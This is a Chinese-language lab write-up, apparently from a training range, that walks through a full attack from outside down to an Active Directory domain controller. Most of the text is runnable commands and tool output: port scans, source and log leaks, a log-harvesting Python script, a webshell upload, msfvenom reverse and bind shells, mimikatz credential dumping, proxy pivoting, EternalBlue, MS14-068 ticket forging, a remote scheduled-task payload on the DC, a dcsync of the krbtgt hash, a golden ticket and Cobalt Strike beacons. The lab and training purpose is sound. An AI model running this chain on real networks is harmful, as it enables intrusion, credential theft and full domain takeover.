1. 1. 打靶日记(三)完整的内网域渗透
  2. 2. 1.环境介绍
    1. 2.1. 1.1环境图
  3. 3. 2.信息收集
    1. 3.1. 2.1masscan 端口探测
    2. 3.2. 2.3nmap 获取系统和端口版本信息
  4. 4. 3.对网站进行安全检测
    1. 4.1. 3.1.绑定 hosts
    2. 4.2. 3.2gobuster 目录文件扫描
    3. 4.3. 3.3 .svn 遍历源代码漏洞
    4. 4.4. 3.4wc.db 文件下载
    5. 4.5. 3.5thinkphp 日志文件泄露
    6. 4.6. 3.6python 编写日志文件
    7. 4.7. 3.7发现管理密文
    8. 4.8. 3.8绑定 hosts 碰撞管理后台子域名
    9. 4.9. 3.9后台验证码逻辑漏洞
    10. 4.10. 3.10. 设置上传文件类型拿 webshell
  5. 5. 4metasploit 进行提权和信息收集
    1. 5.1. 4.1.生成攻击载荷
    2. 5.2. 4.2监听上线
    3. 5.3. 4.3migrate 迁移进程
    4. 5.4. 4.4.mimikatz 哈希明文获取
  6. 6. 5.跨网段域渗透
    1. 6.1. 5.1.metasploit 跨网段的域渗透
      1. 6.1.1. 5.1.1确定域环境
      2. 6.1.2. 5.1.2定位域控
      3. 6.1.3. 5.1.3域信息收集
      4. 6.1.4. 5.1.4终端设置乱码
      5. 6.1.5. 5.1.5终端执行命令信息收集命令
      6. 6.1.6. 5.1.6获取登录过的用户信息
      7. 6.1.7. 5.1.7添加路由渗透 DC 域控
      8. 6.1.8. 5.1.8开启代理
      9. 6.1.9. 5.1.9.设置 porychanins 代理 nmap 扫描
      10. 6.1.10. 5.1.10永恒之蓝 ms17_010 进行溢出
      11. 6.1.11. 5.1.11ms14-068 的条件
      12. 6.1.12. 5.1.12开启远程桌面
      13. 6.1.13. 5.1.13ms14-068 提权域控
        1. 6.1.13.1. 5.1.13.1. ms14-068.exe 创建票据
        2. 6.1.13.2. 5.1.13.2载入 kiwi
        3. 6.1.13.3. 5.1.13.3清理票据
      14. 6.1.14. 5.1.14. 获取 dc 域控权限
        1. 6.1.14.1. 5.1.14.1. 生成正向载荷
        2. 6.1.14.2. 5.1.14.2. copy 复制到域控
        3. 6.1.14.3. 5.1.14.3. at 执行任务运行 exe
      15. 6.1.15. 5.1.15获取 dc 域控哈希明文
      16. 6.1.16. 5.1.16. 抓域控全部 hash
      17. 6.1.17. 5.1.17制作黄金票据
      18. 6.1.18. 5.1.18获取 ntml sid rid
      19. 6.1.19. 5.1.19窃取 域控超级管理权限
      20. 6.1.20. 5.1.20生成黄金票据
      21. 6.1.21. 5.1.21. 注入黄金票据
    2. 6.2. 5.2cobaltstrike 进行内网域渗透
      1. 6.2.1. 5.2.1.建立 teamserver

打靶日记(三)完整的内网域渗透

打靶日记(三)完整的内网域渗透

声明:此系列文章系个人记录打靶过程的文章,靶场为暗月师傅的靶场。这是第三篇。

1.环境介绍

这个靶场是 webhack123 WEB 服务器有两块网卡 dc 是域控 本文为技术培训技术文档,过程可能会让新人有点难以理解。 过程是从 kali 渗透到 web 再渗透到内网 dc 也就是从外网打到域控

1.1环境图

image

 

2.信息收集

1. 主机发现,netdiscover

image

2.1masscan 端口探测

1
masscan -p 1-65535 192.168.8.83 --rate=1000

image

2.3nmap 获取系统和端口版本信息

1
nmap -p 49157,47001,3306,49155,135,445,49153,3389,80,49154,49152,49156,139 -A 192.168.8.83 -oA webhack

image

从端口探测的信息得到服务器是 WEB 容器是 phpstudy 套件操作系统是 Microsoft Windows Server 2008 R2

 

3.对网站进行安全检测

3.1.绑定 hosts

1
192.168.8.83 www.webhack123.com

www.webhack123.com 是一个 xxx 平台 核心框架是 ThinkPHP_3.1.3

后台暂时还不知道

image

3.2gobuster 目录文件扫描

1
gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt

image

3.3 .svn 遍历源代码漏洞

1
http://www.webhack123.com/.svn/entries

image

3.4wc.db 文件下载

在svn中是有一个数据库文件的,如果存在的话,我们可以下载打开。

这个sqlite数据库文件 里面存在网站目录文件信息

svn如果没有获取 可以下载当前下的wc.db用 sqlitebrowser wc.db打开

下载 http://www.webhack123.com/.svn/wc.db

image

image

image

查看数据库 基本知道网站的整个架构

 

3.5thinkphp 日志文件泄露

在ThinkPHP_3.1.3中 日志文件始开启的经过wc.db可以知道文件目录位置

1
http://www.webhack123.com/App/Runtime/Logs/19_06_29.log

image

3.6python 编写日志文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python
import requests
url ="http://www.webhack123.com/App/Runtime/Logs"
def add_urls(patch,y):
urls=[]
for i in range(1,7):
for j in range(1,32):
if i<10:
if j<10:
urls.append(patch+"/%s_0%s_0%s.log" % (y,i,j))
else:
urls.append(patch+"/%s_0%s_%s.log" % (y,i,j))
else:
if j<10:
urls.append(patch+"/%s_%s_0%s.log" % (y,i,j))
else:
urls.append(patch+"/%s_%s_%s.log" % (y,i,j))
return urls
urls = add_urls(url,"20")
for i in urls:
req=requests.get(i)
if req.status_code==200:
print(i)
html = req.text
with open("webhack123.txt",'a',encoding='utf-8') as f:
f.write(html)

image

3.7发现管理密文

thinkphp 低版本在会记录修改密码的日志

image

账号 admin 密文 74c774ef39b5b977c1fd59dbfc73c3e380a65aa3

image

通过 somd5 解 web123

 

3.8绑定 hosts 碰撞管理后台子域名

如果扫描目录后台 还是找不到后台可以试试绑定 hosts 碰撞子域名这种方法

最近有老哥写了一个脚本在 https://github.com/fofapro/Hosts\_scan 脚本与我的需求有点

不合适小修改了一下自动导入 top3K 子域名进行穷举碰撞 IP 修改后的脚本

直接运行脚本

image

admin.webhack123.com 这个就是它的后台地址

hosts需要绑定,不然打开失败

image

1
192.168.8.83         admin.webhack123.com

image

3.9后台验证码逻辑漏洞

可以穷举密码

image

image

3.10. 设置上传文件类型拿 webshell

image

image

1
http://www.webhack123.com/Public/Upload/20211103/7d2e82062e4668139f1b27c7d94dab29.php

image

4metasploit 进行提权和信息收集

4.1.生成攻击载荷

phpstudy套件是默认是系统权限的直接上传执行exe就是高权限了

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.133 lport=12345 -f exe >s.exe

4.2监听上线

1
2
3
4
5
6
7
8
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.8.133
lhost => 192.168.8.133
msf6 exploit(multi/handler) > set lport 12345
lport => 12345
msf6 exploit(multi/handler) > run

image

得到了系统权限

1
2
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

4.3migrate 迁移进程

migrate 迁移到64位进程里 migrate 592进行到 system 方便我们的操作

image

4.4.mimikatz 哈希明文获取

哈希明文获取

加载kiwi模块

1
2
meterpreter > load kiwi
meterpreter > creds_all

image

image

看到有hackbox域 用户web 本地管理员

Administrator 密码 !@#Qwe456

 

5.跨网段域渗透

5.1.metasploit 跨网段的域渗透

这里我将用两个内网渗透神器进行域渗透下的域渗透分别是

metasploit 和 cobalt strike4.0

5.1.1确定域环境

切为adminstrator

image

1
2
3
Shell
Chcp 65001
net config workstation

image

5.1.2定位域控

1
run post/windows/gather/enum_domain

image

1
run post/windows/gather/enum_ad_computers

image

5.1.3域信息收集

1
2
3
4
net time /domain 查看域控时间 
net view 遍历信任主机
net view /domain 查看域
net view /domain:hackbox

image

image

查看域组失败 其他查看组信息均失败

1
2
3
4
net group /domain
ifconfig得到两个IP段
10.10.10.150
192.168.8.83

image

Arp

image

5.1.4终端设置乱码

在metasploit终端使用shell返回的信息会有乱码,可以设置编码防止乱码

chcp 65001

5.1.5终端执行命令信息收集命令

image

dns 10.10.10.149

dns 一般都是与域控同一个 ip


DC

10.10.10.149

WEB

10.10.10.150

5.1.6获取登录过的用户信息

1
run post/windows/gather/enum_logged_on_users

image

5.1.7添加路由渗透 DC 域控

1
run autoroute -s 10.10.10.0/24

image

5.1.8开启代理

1
use auxiliary/server/socks_proxy

image

image

image

5.1.9.设置 porychanins 代理 nmap 扫描

1
vim /etc/proxychains4.conf

image

1
proxychains4 nmap -sT -Pn 10.10.10.149

image

5.1.10永恒之蓝 ms17_010 进行溢出

1
2
3
4
5
meterpreter > background
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.149
show options

image

1
Run

image

溢出成功

5.1.11ms14-068 的条件

使用这个 exp 需要一个普通域控用户

web 是域用户 但是不知道密码

5.1.12开启远程桌面

1
2
run post/windows/manage/enable_rdp 
rdesktop 192.168.0.150

image

image

密码应该是对的 但不是远程组而已

 

5.1.13ms14-068 提权域控

5.1.13.1. ms14-068.exe 创建票据

这些信息从 metasploit 前期信息来的,可以翻到上面查看

使用菜刀上传到受害机器

image

1
2
3
4
cd C:/phpstudy_pro/WWW/www.webhack123.com/Public/Upload/20211103/
执行命令:
ms14-068.exe -u web@hackbox.com -s
S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

image

5.1.13.2载入 kiwi

1
load kiwi

image

5.1.13.3清理票据

1
kerberos_ticket_purge 清理票据

image

5.1.13.4导入票据

在 metasploit mimikatz 好似没有这个功能。

上传 mimikatz 注入票据

1
mimikatz # kerberos::ptc TGT_web@hackbox.com.ccache

image

Klist 查看当前票据

image

1
dir \\dc\c$    访问dc域控

image

1
net time \\dc

image

1
2
at \\dc
net time \\dc

image

5.1.14. 获取 dc 域控权限

5.1.14.1. 生成正向载荷

1
msfvenom -p windows/meterpreter/bind_tcp lport=13777 -f exe >`pwd`/bind.exe

5.1.14.2. copy 复制到域控

1
c:\phpstudy_pro\WWW\www.webhack123.com>copy bind.exe \\dc\C$\ copy bind.exe \\dc\C$\ 

5.1.14.3. at 执行任务运行 exe

1
2
C:\Windows\system32>at \\dc 0:27:00 c:/bind.exe
at \\dc 0:27:00 c:/bind.exe

image

1
2
3
4
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.149
set lport 13777
run

image

5.1.15获取 dc 域控哈希明文

进程迁移

image

1
run hashdump

image

5.1.16. 抓域控全部 hash

1
run post/windows/gather/smart_hashdump

image

5.1.17制作黄金票据

考虑长期权维护,还是做一个黄金票据比较保险。

 

5.1.18获取 ntml sid rid

1
2
wmic useraccount where name="krbtgt" get sid
S-1-5-21-2005268815-658469957-1189185684-502

image

5.1.19窃取 域控超级管理权限

系统权限没办法做dcsync 所以切换域管理权限

1
2
steal_token 2264
dcsync_ntlm krbtgt

image

1
2
3
4
5
[+] Account   : krbtgt
[+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98
[+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b
[+] SID : S-1-5-21-2005268815-658469957-1189185684-502
[+] RID : 502

5.1.20生成黄金票据

golden_ticket_create -d <域名> -u <任意用户名> -s -k -t <ticket 本地存储路径如:/tmp/krbtgt.ticket>

1
golden_ticket_create -d hackbox.com -u garck -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgt.ticket

image

5.1.21. 注入黄金票据

切换到 web 服务器 把凭据都清理掉

load kiwi

kerberos_ticket_purge

image

注入黄金票据

1
2
kerberos_ticket_use /tmp/krbtgt.ticket 
dir \\dc\c$

image

 

 

5.2cobaltstrike 进行内网域渗透

5.2.1.建立 teamserver

./teamserver 192.168.8133 4477

设置好监听器,密码是garck

image

在windows打开start.bat

image

连接上之后,查看监听器。全选之后进行删除。

image

添加

image

image

添加监听

image

生成shellcode

image

image

保存之后,使用菜刀进行上传至目标服务器。

执行之后,设置时间为0秒

image

image

image

查看

image

获取目标信任主机

image

 cobaltstrike mimikatz web 服务获取明密文

image

 查看明文

image

 dir访问域控DC

image

在 py 脚本下创建票据

1
2
root@kali:~/Desktop/webhack123/pykek# set +H
root@kali:/Desktop/webhack123/pykek# proxychains python ms14-068.py -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe45

image

1
KrbCredExport 将 .ccache 文件转化为 kirbi 格式

image

1
2
3
导入票据访问 dc
导入票据
kerberos_ticket_use C:\user.ticket

image

获取 dc 域控权限

现在只有访问 dc 域控的权限,接下来是 dc 域控的控制

 设置 smb 连接器

image

生成后门文件 选择 smb 因为是正向连接 如果使用反向链接 需要做转发 比较麻烦

image

复制文件到 dc 域控并运行

image

在 beacon 正向连接上 dc

link dc

image

获取 dc 明文哈希

命令输入 mimikatz hashdum

image

image